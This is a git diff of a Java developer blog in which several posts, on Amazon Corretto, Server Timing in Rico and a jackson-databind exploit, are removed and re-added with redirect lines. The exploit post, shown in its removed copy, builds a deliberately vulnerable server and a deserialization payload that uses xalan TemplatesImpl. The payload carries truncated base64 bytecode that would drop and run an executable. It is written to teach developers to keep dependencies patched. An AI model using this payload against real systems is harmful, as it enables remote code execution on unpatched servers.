Bellsoft: - -![OpenJDK conributions](/assets/posts/2018-11-23-amazon-corretto/diagramm.png) - -Based on this, only time will tell if Amazon can provide fast bugfixes and updates based on security issues and general bugs. I hope that they will increase the work on OpenJDK in near future and provide a new and good version of Java 11 each quarter. - -As already said Corretto is built on the same OpenJDK sources just like all other Java distribution. For sure the sources will change after 6 months once the LTS period begins. At that moment companies will continue to work on Java 11 in a closed branch. I do not like this workflow and plan to write an additional post about that topic soon. Based on this Corretto contains everything that you need to run Java applications. By taking a closer look at Corretto you can find some differences. Since the current download is a preview we will see how this emerges in the future. Currently, I can see some positive and some negative aspects about Corretto: - -* Corretto contains JavaFX and can, therefore, be used to easily start a JavaFX based application. Several other vendors do not bundle JavaFX in the JDK artifacts -* Next to the JavaFX API the Amazon JDK contains the javafxpackager tool. This can be found in the bin folder and allows users to create native applications based on a Java application -* As all other JDK vendors (besides Oracle) no WebStart functionality can be found in Corretto. An explanation of the WebStart absence in OpenJDK distributions can be found on [Karakun DevHub](https://dev.karakun.com/webstart/) - -Based on all this, one can say that Amazon is on a really good way to offer a production-ready OpenJDK distribution. - -## Conclusion and additional thoughts - -Considering all the given facts, Corretto looks promising. In March 2019, Java 12 will be released and Java 11 will go in LTS mode. So, somewhere in the summer of 2019, we will see if Amazon will release a free update of Corretto that is based on Java 11 containing all needed bugfixes and security fixes. Taking into account the size, power, and knowledge of Amazon, I do not expect any issue here. On the other hand, we will never know when Amazon stops the work and support for specific Java versions. Since Corretto is 100% free no one will have any contract about future support and therefore it will just be in Amazons' hands to support the Java community with future updates. - -Since Corretto is completely free I would love to see that Amazon contributes some of the work (like bugfixes or security fixes) back to OpenJDK. This would help all Java users and especially community-based organizations like [AdoptOpenJDK](https://adoptopenjdk.net). With this community, we have a 100% free and open initiative to provide future open Java versions. If big vendors that work on OpenJDK and provide LTS support for Java would contribute their changes to AdoptOpenJDK instead or next to a closed branch, the future of Java as an open source project would even be brighter. But that discussion will contain more than enough content for a future post ;) +--- +layout: post +redirect_to: https://open-elements.com/posts/2018/11/23/amazon-corretto-announced/ +title: 'Amazon Corretto announced' +author: hendrik +featuredImage: java-5 +excerpt: 'At the Devoxx conference 2 weeks ago, Amazon announced Corretto as a new player in the OpenJDK market. Next to companies like SAP, Oracle or Bellsoft, the cloud computing company now provides a custom OpenJDK build. On the website Amazon Corretto is described as +"No-cost, multiplatform, production-ready distribution of OpenJDK". In this post I will have a deeper look at Corretto and explain why Amazon did this move.' +categories: [Java, OpenJDK] +header: + text: Amazon Corretto + image: sample +--- +{% include elements/block.html text="This post was originally posted at [dev.karakun.com](https://dev.karakun.com)" %} + +Based on the changes that Oracle announced a year ago about [the new release train and licenses of Java](/java/2018/06/25/java-releases.html) and the Oracle Java distributions it was completely obvious and only a matter of time when additional big players start to distribute custom OpenJDK builds. Some companies like RedHat or IBM did this already for some years to provide custom Java support for existing enterprise customers. The first big player that offered a more general OpenJDK build with custom support was Azul. + +With the new license model of Oracle that only provides free updates for java version (even LTS versions) for 6 months, the door was open for new vendors. Especially cloud providers needed to find a solution for the new situation. If you have Java installed on millions of containers that are running in your cloud you do not want to buy commercial support at Oracle for all of them. But you do not want to use outdated Java versions in production either. Especially in a public cloud infrastructure, you need security fixes as fast as possible. Based on this Microsoft already [announced a partnership with Azul](https://azure.microsoft.com/en-us/blog/microsoft-and-azul-systems-bring-free-java-lts-support-to-azure/) a month ago. + +Amazon decided to not cooperate with a given JDK vendor and provide its distribution as they have announced at Devoxx 2018. The Java distribution of Amazon is named Corretto. [On the product website](https://aws.amazon.com/de/corretto/), Amazon describes Corretto as a "No-cost, multiplatform, production-ready distribution of OpenJDK". Let's have a deeper look at it. + +![Free LTS](/assets/posts/2018-11-23-amazon-corretto/duke_ice.png) + +## About multiplatform support + +Currently, a Java 8 based preview can be downloaded for Linux, Mac, and Windows. Until now, Amazon provides only 64 bit version. Against some other distributions, the download contains an installer (at least for Windows and Mac) that will install the Java distribution on your machine. This is a huge benefit compared to some other vendors that only offer a packed (like tar or zip) folder of the JDK. Plus, Amazon already offers ready to use docker support. If you want to run a java application in a container by using the Corretto JDK you only need to build the open source image: + +{% highlight shell %} +docker build -t amazon-corretto-8 github.com/corretto/corretto-8-docker +{% endhighlight %} + +I am sure that Amazon will offer the images in the official docker hub in the near future. + +Once you have installed Corretto it is ready to use. By calling `java -version` the current preview build of Corretto will give you the following version information: + +{% highlight shell %} +openjdk version "1.8.0_192" +OpenJDK Runtime Environment (build 1.8.0_192-amazon-corretto-preview-b12) +OpenJDK 64-Bit Server VM (build 25.192-b12, mixed mode) +{% endhighlight %} + +## Is Corretto a no-cost JDK? + +For now, you can easily download a Java 11 version everywhere. You can choose between Oracle JDK, Oracle OpenJDK builds, AdoptOpenJDK builds, and many more. While all (except for the Oracle JDK build) can easily be used in production it will become much harder in some months when Java 12 hits the market and the 6 month period of Java 11 ends. Even Java 11 is a so-called LTS release (Long Term Support) companies like Oracle or Azul will only offer updates on Java 11 if you pay commercial support to them. Amazon plans to offer free support and will provide updates for Java 11 with patches (security fixes and bugfixes) for several years. On the FAQ page of Corretto Amazon describes the model like this: + +* Corretto is distributed by Amazon under an Open Source license at no cost to you. It is licensed under the terms of the GNU +* Public License version 2 with the Classpath Exception (GPLv2 with CPE). Amazon does not charge for its use or distribution. +* Amazon will provide security updates for Corretto 8 until at least June 2023. Updates are planned to be released quarterly. +* Corretto 11, corresponding to OpenJDK 11, will be available during the first half of 2019. Amazon will support Corretto 11 with quarterly updates until at least August 2024 + +Based on this you can definitely say that Corretto will be free. To be true Amazon does not provide any commercial support for Corretto.If this is positive or negative depends on your opinion about commercial support. In general, it is positive to have a distributor that offers free LTS support for Java. + +## Is Corretto production ready? + +Since Corretto is based on the sources of OpenJDK and therefore has mostly no functional change against other distributions, this question can be answered in general with “yes”. If you install the Java 8 preview of Corretto, you normally will have absolutely no problems. From my point of view, a more important question is if Corretto will stay production-ready in the future. By providing long term support for Java versions Amazon needs to merge and implement fixes into the Corretto repositories since the work on the OpenJDK branches for a specific version will stop after 6 months. When having a look at the OpenJDK contributors of the last year you will see that Amazon is already an OpenJDK committer. The following diagram gives an idea about the work that some JDK vendors did the last year on OpenJDK. As you can see Amazon was not that active as the big vendors like SAP or Bellsoft: + +![OpenJDK conributions](/assets/posts/2018-11-23-amazon-corretto/diagramm.png) + +Based on this, only time will tell if Amazon can provide fast bugfixes and updates based on security issues and general bugs. I hope that they will increase the work on OpenJDK in near future and provide a new and good version of Java 11 each quarter. + +As already said Corretto is built on the same OpenJDK sources just like all other Java distribution. For sure the sources will change after 6 months once the LTS period begins. At that moment companies will continue to work on Java 11 in a closed branch. I do not like this workflow and plan to write an additional post about that topic soon. Based on this Corretto contains everything that you need to run Java applications. By taking a closer look at Corretto you can find some differences. Since the current download is a preview we will see how this emerges in the future. Currently, I can see some positive and some negative aspects about Corretto: + +* Corretto contains JavaFX and can, therefore, be used to easily start a JavaFX based application. Several other vendors do not bundle JavaFX in the JDK artifacts +* Next to the JavaFX API the Amazon JDK contains the javafxpackager tool. This can be found in the bin folder and allows users to create native applications based on a Java application +* As all other JDK vendors (besides Oracle) no WebStart functionality can be found in Corretto. An explanation of the WebStart absence in OpenJDK distributions can be found on [Karakun DevHub](https://dev.karakun.com/webstart/) + +Based on all this, one can say that Amazon is on a really good way to offer a production-ready OpenJDK distribution. + +## Conclusion and additional thoughts + +Considering all the given facts, Corretto looks promising. In March 2019, Java 12 will be released and Java 11 will go in LTS mode. So, somewhere in the summer of 2019, we will see if Amazon will release a free update of Corretto that is based on Java 11 containing all needed bugfixes and security fixes. Taking into account the size, power, and knowledge of Amazon, I do not expect any issue here. On the other hand, we will never know when Amazon stops the work and support for specific Java versions. Since Corretto is 100% free no one will have any contract about future support and therefore it will just be in Amazons' hands to support the Java community with future updates. + +Since Corretto is completely free I would love to see that Amazon contributes some of the work (like bugfixes or security fixes) back to OpenJDK. This would help all Java users and especially community-based organizations like [AdoptOpenJDK](https://adoptopenjdk.net). With this community, we have a 100% free and open initiative to provide future open Java versions. If big vendors that work on OpenJDK and provide LTS support for Java would contribute their changes to AdoptOpenJDK instead or next to a closed branch, the future of Java as an open source project would even be brighter. But that discussion will contain more than enough content for a future post ;) diff --git a/_posts/2019-01-09-integration-docker.md b/_posts/2019-01-09-integration-docker.md index 3bce237..dcbff37 100644 --- a/_posts/2019-01-09-integration-docker.md +++ b/_posts/2019-01-09-integration-docker.md @@ -1,5 +1,6 @@ --- layout: post +redirect_to: https://open-elements.com/posts/2019/01/09/integration-tests-with-docker/ title: 'Integration tests with Docker' author: hendrik featuredImage: java-container diff --git a/_posts/2019-01-15-rico-server-timing.md b/_posts/2019-01-15-rico-server-timing.md index 7ca3cb2..b80e66e 100644 --- a/_posts/2019-01-15-rico-server-timing.md +++ b/_posts/2019-01-15-rico-server-timing.md @@ -1,107 +1,108 @@ ---- -layout: post -title: 'Server Timing with Rico' -author: hendrik -featuredImage: java-7 -excerpt: 'This post gives an overview about the new server timing specification of the w3c and how server timing can be used in any enterprise Java server by using Rico.' -categories: [Java, Rico] -header: - text: Rico Server Timing - image: sample ---- -{% include elements/block.html text="This post was originally posted at [dev.karakun.com](https://dev.karakun.com)" %} - -In our open source project [Rico](https://github.com/rico-projects/rico) we introduced the support of "server timing" for JavaEE and Spring. Server Timing is [a new W3C feature](https://www.w3.org/TR/server-timing/) that allows you to add some metrics about the request handling to the response. I already introduced server timing in [one of my last posts]({% post_url 2019-01-09-integration-docker %}). The following image shows how such information would be rendered in the developer console of chrome: - -![Server Timing](/assets/posts/2019-01-15-rico-server-timing/server-timing.png) - -The feature is very useful when you develop a client that uses HTTP calls to communicate with the server. In this case, the client sends an HTTP request to the server and receives an HTTP response after some time. The functionality that the server executes to create the response based on the request is a black box for the client. Normally this is not really a problem but let's think about a possible bottleneck on the server. Sometimes your HTTP call takes much longer than normal. To make it worse the problem only happens when you do not debug the server. In such case "server timing" is a really helpful feature since you can display some timing information about the server functionality in the client. - -## Using Server Timing with Rico - -Rico provides a managed component that can easily be injected in any Spring or JavaEE bean. This component is defined by the `dev.rico.server.timing.ServerTiming` interface and lives in the request scope. By injection the component you can easily create metrics in your server that will automatically be added to the HTTP response. Here the w3c specification for server timing is used. Such `dev.rico.server.timing.ServerTiming` instance can be used to create metrics. A metric is defined by the `dev.rico.server.timing.Metric` interface and can be used to automatically add timing information to an HTTP response. The following code snippet shows the basic usage of the API: - -{% highlight java %} -final ServerTiming timing = ... // will be injected - -final Metric dbMetric = timing.start("DB-Operation"); -//Do some work on the database -dbMetric.stop(); -{% endhighlight %} - -The given sample creates a metric with the given name "DB-Operation" and will automatically record the duration until the `stop()` method of the metric is called. If this happens during an HTTP call you can see the duration of the "DB-Operation" directly in the developer console of your chrome browser. - -Let's have a look how you can use this feature is a simple REST endpoint in JavaEE. The following code shows how timing metrics will be created for a REST endpoint: - -{% highlight java %} -@Path("/api/delete") -public class MyEndpoint { - - @Inject - private ServerTiming timing; - - @Inject - private Database dabase; - - @GET - public void clearAllData() { - final Metric metric1 = timing.start("delete-users", "Deletes all users in the DB"); - database.deleteAllUsers(); - metric1.stop(); - - final Metric metric2 = timing.start("delete-items", "Deletes all items in the DB"); - database.deleteAllItems(); - metric2.stop(); - } -} -{% endhighlight %} - -Before we discuss this sample let's have a look at the same endpoint in Spring: - -{% highlight java %} -@RestController -public class MyEndpoint { - - @Autowired - private ServerTiming timing; - - @Autowired - private Database dabase; - - @RequestMapping("/api/delete") - public void clearAllData() { - final Metric metric1 = timing.start("delete-users", "Deletes all users in the DB"); - database.deleteAllUsers(); - metric1.stop(); - - final Metric metric2 = timing.start("delete-items", "Deletes all items in the DB"); - database.deleteAllItems(); - metric2.stop(); - } -} -{% endhighlight %} - -As you can see the use of the Rico API is 100% the same in JavaEE and Spring. This is one of the big benefits of Rico that offers all its services and components as managed beans for JavaEE and Spring. In the example, an endpoint is defined that does 2 calls against a database. For both of this calls a `dev.rico.server.timing.Metric` instance is created to measure the duration of the calls. Since the "server timing" specification supports a description next to a name for a timing entry, Rico allows to create metrics with a name and an optional description. In the given sample both metrics are defined with a description. Once a client calls the endpoint the htpp response will automatically contain the timing information and you can see the duration for the "deleteAllUsers" and the duration for the "deleteAllItems" step directly in your browser. - -## Better integration in enterprise frameworks - -The given example is just the beginning and with the next Rico release metrics to create "server timing" records can easily be defined by an annotation. This feature will first be available for JavaEE but will be added for Spring in the near future. Instead of injecting a `dev.rico.server.timing.ServerTiming` instance and create metrics by hand you can add the `dev.rico.server.timing.Timing` annotation to each method of a managed bean that duration you want to record. The following code shows how you can easily record the duration of an HTTP endpoint by doing so: - -{% highlight java %} -@Path("/api/delete") -public class MyEndpoint { - - @GET - @Timing("item-count-metric") - public int getItemCount() { - final int count = ... // do some calculations; - return count; - } -} -{% endhighlight %} - -Like the basic API the `Timing` annotation supports of a name and a description for a metric. - -![Server Timing](/assets/posts/2019-01-15-rico-server-timing/timing-request.png) - -Since you do not want to send metrics with every request to the client we currently add some configuration properties to Rico that let you configure when metrics should be added to a response. By doing so you can easily activate metrics in case of an issue when you want to have a look at the server timing information. \ No newline at end of file +--- +layout: post +redirect_to: https://open-elements.com/posts/2019/01/15/server-timing-with-rico/ +title: 'Server Timing with Rico' +author: hendrik +featuredImage: java-7 +excerpt: 'This post gives an overview about the new server timing specification of the w3c and how server timing can be used in any enterprise Java server by using Rico.' +categories: [Java, Rico] +header: + text: Rico Server Timing + image: sample +--- +{% include elements/block.html text="This post was originally posted at [dev.karakun.com](https://dev.karakun.com)" %} + +In our open source project [Rico](https://github.com/rico-projects/rico) we introduced the support of "server timing" for JavaEE and Spring. Server Timing is [a new W3C feature](https://www.w3.org/TR/server-timing/) that allows you to add some metrics about the request handling to the response. I already introduced server timing in [one of my last posts]({% post_url 2019-01-09-integration-docker %}). The following image shows how such information would be rendered in the developer console of chrome: + +![Server Timing](/assets/posts/2019-01-15-rico-server-timing/server-timing.png) + +The feature is very useful when you develop a client that uses HTTP calls to communicate with the server. In this case, the client sends an HTTP request to the server and receives an HTTP response after some time. The functionality that the server executes to create the response based on the request is a black box for the client. Normally this is not really a problem but let's think about a possible bottleneck on the server. Sometimes your HTTP call takes much longer than normal. To make it worse the problem only happens when you do not debug the server. In such case "server timing" is a really helpful feature since you can display some timing information about the server functionality in the client. + +## Using Server Timing with Rico + +Rico provides a managed component that can easily be injected in any Spring or JavaEE bean. This component is defined by the `dev.rico.server.timing.ServerTiming` interface and lives in the request scope. By injection the component you can easily create metrics in your server that will automatically be added to the HTTP response. Here the w3c specification for server timing is used. Such `dev.rico.server.timing.ServerTiming` instance can be used to create metrics. A metric is defined by the `dev.rico.server.timing.Metric` interface and can be used to automatically add timing information to an HTTP response. The following code snippet shows the basic usage of the API: + +{% highlight java %} +final ServerTiming timing = ... // will be injected + +final Metric dbMetric = timing.start("DB-Operation"); +//Do some work on the database +dbMetric.stop(); +{% endhighlight %} + +The given sample creates a metric with the given name "DB-Operation" and will automatically record the duration until the `stop()` method of the metric is called. If this happens during an HTTP call you can see the duration of the "DB-Operation" directly in the developer console of your chrome browser. + +Let's have a look how you can use this feature is a simple REST endpoint in JavaEE. The following code shows how timing metrics will be created for a REST endpoint: + +{% highlight java %} +@Path("/api/delete") +public class MyEndpoint { + + @Inject + private ServerTiming timing; + + @Inject + private Database dabase; + + @GET + public void clearAllData() { + final Metric metric1 = timing.start("delete-users", "Deletes all users in the DB"); + database.deleteAllUsers(); + metric1.stop(); + + final Metric metric2 = timing.start("delete-items", "Deletes all items in the DB"); + database.deleteAllItems(); + metric2.stop(); + } +} +{% endhighlight %} + +Before we discuss this sample let's have a look at the same endpoint in Spring: + +{% highlight java %} +@RestController +public class MyEndpoint { + + @Autowired + private ServerTiming timing; + + @Autowired + private Database dabase; + + @RequestMapping("/api/delete") + public void clearAllData() { + final Metric metric1 = timing.start("delete-users", "Deletes all users in the DB"); + database.deleteAllUsers(); + metric1.stop(); + + final Metric metric2 = timing.start("delete-items", "Deletes all items in the DB"); + database.deleteAllItems(); + metric2.stop(); + } +} +{% endhighlight %} + +As you can see the use of the Rico API is 100% the same in JavaEE and Spring. This is one of the big benefits of Rico that offers all its services and components as managed beans for JavaEE and Spring. In the example, an endpoint is defined that does 2 calls against a database. For both of this calls a `dev.rico.server.timing.Metric` instance is created to measure the duration of the calls. Since the "server timing" specification supports a description next to a name for a timing entry, Rico allows to create metrics with a name and an optional description. In the given sample both metrics are defined with a description. Once a client calls the endpoint the htpp response will automatically contain the timing information and you can see the duration for the "deleteAllUsers" and the duration for the "deleteAllItems" step directly in your browser. + +## Better integration in enterprise frameworks + +The given example is just the beginning and with the next Rico release metrics to create "server timing" records can easily be defined by an annotation. This feature will first be available for JavaEE but will be added for Spring in the near future. Instead of injecting a `dev.rico.server.timing.ServerTiming` instance and create metrics by hand you can add the `dev.rico.server.timing.Timing` annotation to each method of a managed bean that duration you want to record. The following code shows how you can easily record the duration of an HTTP endpoint by doing so: + +{% highlight java %} +@Path("/api/delete") +public class MyEndpoint { + + @GET + @Timing("item-count-metric") + public int getItemCount() { + final int count = ... // do some calculations; + return count; + } +} +{% endhighlight %} + +Like the basic API the `Timing` annotation supports of a name and a description for a metric. + +![Server Timing](/assets/posts/2019-01-15-rico-server-timing/timing-request.png) + +Since you do not want to send metrics with every request to the client we currently add some configuration properties to Rico that let you configure when metrics should be added to a response. By doing so you can easily activate metrics in case of an issue when you want to have a look at the server timing information. diff --git a/_posts/2019-01-25-security-exploits.md b/_posts/2019-01-25-security-exploits.md index 18c20b2..1f2e5e0 100644 --- a/_posts/2019-01-25-security-exploits.md +++ b/_posts/2019-01-25-security-exploits.md @@ -1,299 +1,300 @@ ---- -layout: post -title: 'How a single request can kill your enterprise' -author: hendrik -featuredImage: bomb -excerpt: 'As developers we always try to create bug free and secure applications. -Sometimes the most critical issues are not part of our code but of its dependencies. -This post shows how security issues in dependencies can be used to create horrible attack scenarios of your systems. -I will show one exploit in a simply Java based server application that can be used to do mostly everything with your whole system.' -categories: [Java, OpenJDK] -header: - text: An example of a small but evil exploit - image: sample ---- -{% include elements/block.html text="This post was originally posted at [dev.karakun.com](https://dev.karakun.com)" %} - -In this post, I will show a possible exploit of a small Java based enterprise application. The bugs that I use for the exploit are already fixed since 2017 and new versions of the libraries are available for more than a year. I do not want to blame any library or developer with this blog post. My main goal is to show you how important it is to know the dependencies of your application and the importance of having an up-to-date version of your dependencies. By updating to the latest releases you will always benefit from security fixes and avoid being attackable by exploits that were made available to the public. - -![Security duke](/assets/posts/2019-01-25-security-exploits/security-duke.png){:class="image-two-third-width"} - -## Creating a small server application - -To give you an example of a security issue and an exploit that will use this issue to do really bad things I will create a minimalistic server application in Java. The application will handle some data items and will provide an HTTP endpoint so that a client can receive the current item set and mutate the data. - -To create such an application you can choose between several Java based frameworks like Spring (Boot) or JakartaEE. In this specific example, I decided to use one of the smallest frameworks that I know for such a use case. By using [spark](http://sparkjava.com) I can easily define a small HTTP server in just 1 Java class. To make life easier I will add [jackson](https://github.com/FasterXML/jackson) and [xalan](https://xalan.apache.org) as additional dependencies to provide automatic JSON-Object-Mapping for my application. Since I decided to use Maven for this example the `pom.xml` file might look like this: - -{% highlight xml %} - - com.karakun.dev - exploit - 1.0-SNAPSHOT - - - - com.sparkjava - spark-core - 2.7.2 - - - com.fasterxml.jackson.core - jackson-databind - 2.8.8 - - - xalan - xalan - 2.7.2 - - - -{% endhighlight %} - -As you can see in the maven definition our application will only need 3 dependencies. Having a deeper look you realize that we already depend on **23** libraries as the 3 dependencies defined in the pom file depend on several other libraries. All these dependencies are transitive dependencies of our application and will be added to the classpath. The following graph shows all libraries our application depends on based on the above pom: - -![Dependency graph](/assets/posts/2019-01-25-security-exploits/dependency-graph.png) - -Most dependencies in the graph are transitive dependencies from spark. Even if this library is one of the smallest HTTP server libs available it already brings a lot of things with it. In our example this is much more than we need since we do not want to add security, use websockets or program against the servlet API. This should not be any blame against spark. I just want to show you that your applications often depend on many more things than you might know. ;) - -## Let's start coding - -The first thing that we want to define is a plain POJO. I decided to call it "Product" and defined it as a small Java bean with some properties/fields. As you can see in the following definition of the class there is absolutely no magic in this code. I even do not define `toString()`, `equals()`, or `hashcode()` (which could be done but does not change anything in the sample). This "Product" data type will be the only data that our application can handle. Here is the complete code of the `Product` class: - -{% highlight java %} -public class Product { - - private String name; - - private Object data; - - public Product() { - } - - public Product(final String name, final Object data) { - this.name = name; - this.data = data; - } - - public String getName() { - return name; - } - - public void setName(final String name) { - this.name = name; - } - - public Object getData() { - return data; - } - - public void setData(final Object data) { - this.data = data; - } -} -{% endhighlight %} - -In our application, we want to manage the above products. Instead of using a database and maybe JPA (as most of us would do for real applications) I have chosen the easiest way to manage such data: a `List`. By defining and managing collections in our application we can easily hold a list of products in memory and work with them at runtime. Since several clients might access our sever I decided to use a `CopyOnWriteArrayList` as a concrete list type in my application. Thus, we won't end in any `ConcurrentModificationException`. The following code snippet shows how a collection with some initial data can be created: - -{% highlight java %} -final List database = new CopyOnWriteArrayList<>(); -database.add(new Product("car", randomData())); -database.add(new Product("boat", randomData())); -database.add(new Product("plane", randomData())); -{% endhighlight %} - -The `randomData()` method used in this snippet creates some random metadata for the `Product` instances. You will see the code of this method later. For our example, these few lines of code are really everything we need as a small in-memory data store. By using a list we can easily add new products to our "database" or return the complete content. - -In the next step, we will use spark to provide HTTP/rest endpoints for exactly this functionality. We want to define an endpoint that can be reached by a `GET` request to return all our products and a second endpoint that can be reached by a `POST` request. The POST endpoint will add a new product as defined in the body of the HTTP request to our database. - -![HTTP endpoints](/assets/posts/2019-01-25-security-exploits/get-post.png) - -The following code snippet shows in a simplified way how this can be achieved by using spark: - -{% highlight java %} -//Configure HTTP server -Spark.port(8888); - -//Define endpoints -Spark.get("/products", (request, response) -> serializer.writeValueAsString(database)); -Spark.post("/products", (request, response) -> database.add(deserializer.readValue(request.body(), Product.class))); -{% endhighlight %} - -For sure the post lambda needs null checks and exception handling. Plus, the `serializer` and `deserializer` objects that are used in the snippet are instances of the `ObjectMapper` class from jackson. These objects will be used to transform the JSON of the HTTP requests and responses to Java objects. Let's put the database and server code together in a single Java class. As you can see in the following snippet you can easily create such simple servers with only 50 lines of code: - -{% highlight java %} -public class MyServer { - - private static final List database = new CopyOnWriteArrayList<>(); - - private static final ObjectMapper deserializer = new ObjectMapper().enableDefaultTyping(); - private static final ObjectMapper serializer = new ObjectMapper(); - - public static void main(String[] args) { - - //Adding some basic data - database.add(new Product("car", randomData())); - database.add(new Product("boat", randomData())); - database.add(new Product("plane", randomData())); - - //Configure HTTP server - Spark.port(8888); - - //Define endpoints - Spark.get("/products", (request, response) -> { - return serializer.writeValueAsString(database); - }); - - Spark.post("/products", (request, response) -> { - try { - final Product product = deserializer.readValue(request.body(), Product.class); - Optional.ofNullable(product).ifPresent(p -> database.add(p)); - return "THANKS"; - } catch (final Exception e) { - return "ERROR"; - } - }); - } - - private static Map randomData() { - final String[] colors = {"yellow", "red", "green"}; - final Map data = new HashMap<>(); - data.put("cost", new Random().nextInt(100_000) + ""); - data.put("color", colors[new Random().nextInt(colors.length)]); - return data; - } -} -{% endhighlight %} - -At this point, we can start our server and call the defined endpoints. To do such calls you can use any tool that provides the functionality to execute HTTP requests. I use [PAW](https://paw.cloud) on my Mac but you can use any other tool like [curl](https://curl.haxx.se) or [postman](https://www.getpostman.com) for example. Also, all major browsers offer plugins or extensions to trigger HTTP requests. - -The following snippet shows the raw content of a GET request to receive the product list from the server - -{% highlight java %} -GET /products HTTP/1.1 -Host: localhost:8888 -Connection: close -User-Agent: Paw/3.1.7 (Macintosh; OS X/10.14.2) GCDHTTPRequest -{% endhighlight %} - -When doing the request you will receive a response that contains the product list in JSON format as you can see in the following screenshot of Paw: - -![Paw screen](/assets/posts/2019-01-25-security-exploits/paw.png) - -Once you added a new product by doing a `POST` HTTP request you see the new product in this JSON list when doing a new `GET` request. For posting a new product the body of your HTTP requests needs to look like this: - -{% highlight json %} -{ - "name":"jetpack", - "data":["java.util.HashMap",{"cost":"200_000","color":"yellow"}] -} -{% endhighlight %} - -Thanks to the jackson and xalan dependency our server application will automatically create a new `Product` instance from the given JSON definition. - -## Let's hack - -Based on the current state of our application and the information we have about its implementation and endpoints we could consider our application as bulletproof that cannot be hacked in any way. Reviewing the following points might support this opinion: - -* The application can only be accessed by 2 endpoints -* The endpoints are well defined and based on the HTTP standard -* Internally exception handling is added to the endpoints -* Internally the endpoints only have access to the data list -* The application is very small and therefore we understand the complete code -* We only use well-known dependencies -* All dependencies are open source - -With all this in mind, you might be shocked when I tell you that I can get access to the native file system by only doing 1 HTTP request against this application. And: the file system is only one example. I showed the very same sample at a JUG session and created a request against the application that changed the wallpaper of my operation system. While this is not really dangerous it had a nice effect on the audience to visualize that I can really do more or less everything on the system that hosts the given application. - -![Bad request](/assets/posts/2019-01-25-security-exploits/bad-request.png) - -All this can be easily achieved by using a simple exploit. Everything I need to do is a `POST` request against the endpoint that our application offers to add a new `Product` instance. Instead of just sending a JSON based description of a product (which I want to add), the body of my HTTP request looks like this: - -{% highlight json %} -{ - "name": "bomb", - "data": ["org.apache.xalan.xsltc.trax.TemplatesImpl", - { - "transletBytecodes" : [ "yv66vgAAADQAy........ABAHoAAwB7AHwAew==" ], - "transletName": "oops!", - "outputProperties": {} - } - ] -} -{% endhighlight %} - -The content of the `transletBytecodes` property is much longer than shown in this snippet. But since you cannot really read the content it doesn't make sense to show it completely. Much more interesting is the general workflow that I used to create this HTTP body and how it will be handled in our server application. - -The content of the `transletBytecodes` property is a base64 encoded byte array. This byte array is the byte representation of a compiled Java class. To create the base 64 string I wrote a java class compiled it and simply converted the content of the class file to base64. - -![Bad request](/assets/posts/2019-01-25-security-exploits/workflow.png) - -If you want to try this on your own just compile a Java class and use any converter to create a base64 based string out of the content of the class file. You can even create such tool by yourself with some lines of Java code: - -{% highlight java %} -public class Encoder { - - public static void main(String[] args) throws Exception { - byte[] classBytes = Files.readAllBytes(new File("target/classes/com/karakun/dev/Bomb.class").toPath()); - byte[] encodedBytes = Base64.getEncoder().encode(classBytes); - System.out.println(new String(encodedBytes)); - } -} -{% endhighlight %} - -The given code directly prints the base64 encoded string as the output of the program to your terminal. If you want to do this with a class that you can use for the exploit you need to extend a specific class that is defined by xalan. Simply add `org.apache.xalan.xsltc.runtime.AbstractTranslet` class. The 2 abstract methods can be implemented with an empty body they are not used for the exploit. The really interesting part is the constructor of your class. Here you can easily add some custom code like I did in the following sample: - -{% highlight java %} -public class Bomb extends org.apache.xalan.xsltc.runtime.AbstractTranslet { - - public Bomb() { - super.transletVersion = CURRENT_TRANSLET_VERSION; - - //Now we can do evil stuff - System.out.println("BOOOOOOOOM!"); - } - - @Override - public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { - // empty - } - - @Override - public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { - // empty - } -} -{% endhighlight %} - -If you transform such a class to a base64 string as described above and send it to your server application the constructor of your custom class will be called on the server. With the given example the server would print "BOOOOOOOOM!" as output in the terminal. Before we have a look at the internals and how this is even possible think about the evil potential of this security issue. Instead of just printing a funny string we could write an algorithm that does horrible things on your system as you can see in the following code snippet: - -{% highlight java %} -public Bomb() { - super.transletVersion = CURRENT_TRANSLET_VERSION; - - //the byte content of a native tool as base64 - String snifferBinaryStream = "yv66vgAAADQAy........ABAHoAAwB7AHwAew" - - //Let's create an executable on the local machine - File executable = copyToExe(snifferBinaryStream); - - //Let's start our native executable - run(executable); -} -{% endhighlight %} - -## Some background to the vulnerability - -The exploit that I used in the sample is a security issue that occurred in several versions of the jackson-databind library (All versions before 2.6.7.1, 2.7.9.1 and 2.8.9 are affected). The issue was reported in 2017 and is fixed in new releases of the library. Internally the problem is defined like this: `jackson-databind` will perform code execution by sending maliciously crafted input to the readValue method of the `ObjectMapper`. - -You can find more information about the vulnerability [here](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7525) - -## Conclusion - -This small example shows that even common and popular libraries can have security issues which can be used for exploits. Sometimes such bugs (and the exploits) can be harmless but the given sample shows how such exploits could kill your complete system. We as developers need to know about such problems in the libraries our systems depend on and try to get rid of them. The following thoughts can help us not to end in creating insecure applications or get hacked: - -* The most important step is to know the internal dependencies and remove frameworks and libraries that you don't really need. -* You should keep all your dependencies up-to-date. -* All security issues are captured in [databases](http://cve.mitre.org) and tools can help us to check our applications and their dependencies against these databases. - -I plan to write an article in the near future about helpful tools that will notify you automatically about possible security issues in your software stack. +--- +layout: post +redirect_to: https://open-elements.com/posts/2019/01/25/how-a-single-request-can-kill-your-enterprise/ +title: 'How a single request can kill your enterprise' +author: hendrik +featuredImage: bomb +excerpt: 'As developers we always try to create bug free and secure applications. +Sometimes the most critical issues are not part of our code but of its dependencies. +This post shows how security issues in dependencies can be used to create horrible attack scenarios of your systems. +I will show one exploit in a simply Java based server application that can be used to do mostly everything with your whole system.' +categories: [Java, OpenJDK] +header: + text: An example of a small but evil exploit + image: sample +--- +{% include elements/block.html text="This post was originally posted at [dev.karakun.com](https://dev.karakun.com)" %} + +In this post, I will show a possible exploit of a small Java based enterprise application. The bugs that I use for the exploit are already fixed since 2017 and new versions of the libraries are available for more than a year. I do not want to blame any library or developer with this blog post. My main goal is to show you how important it is to know the dependencies of your application and the importance of having an up-to-date version of your dependencies. By updating to the latest releases you will always benefit from security fixes and avoid being attackable by exploits that were made available to the public. + +![Security duke](/assets/posts/2019-01-25-security-exploits/security-duke.png){:class="image-two-third-width"} + +## Creating a small server application + +To give you an example of a security issue and an exploit that will use this issue to do really bad things I will create a minimalistic server application in Java. The application will handle some data items and will provide an HTTP endpoint so that a client can receive the current item set and mutate the data. + +To create such an application you can choose between several Java based 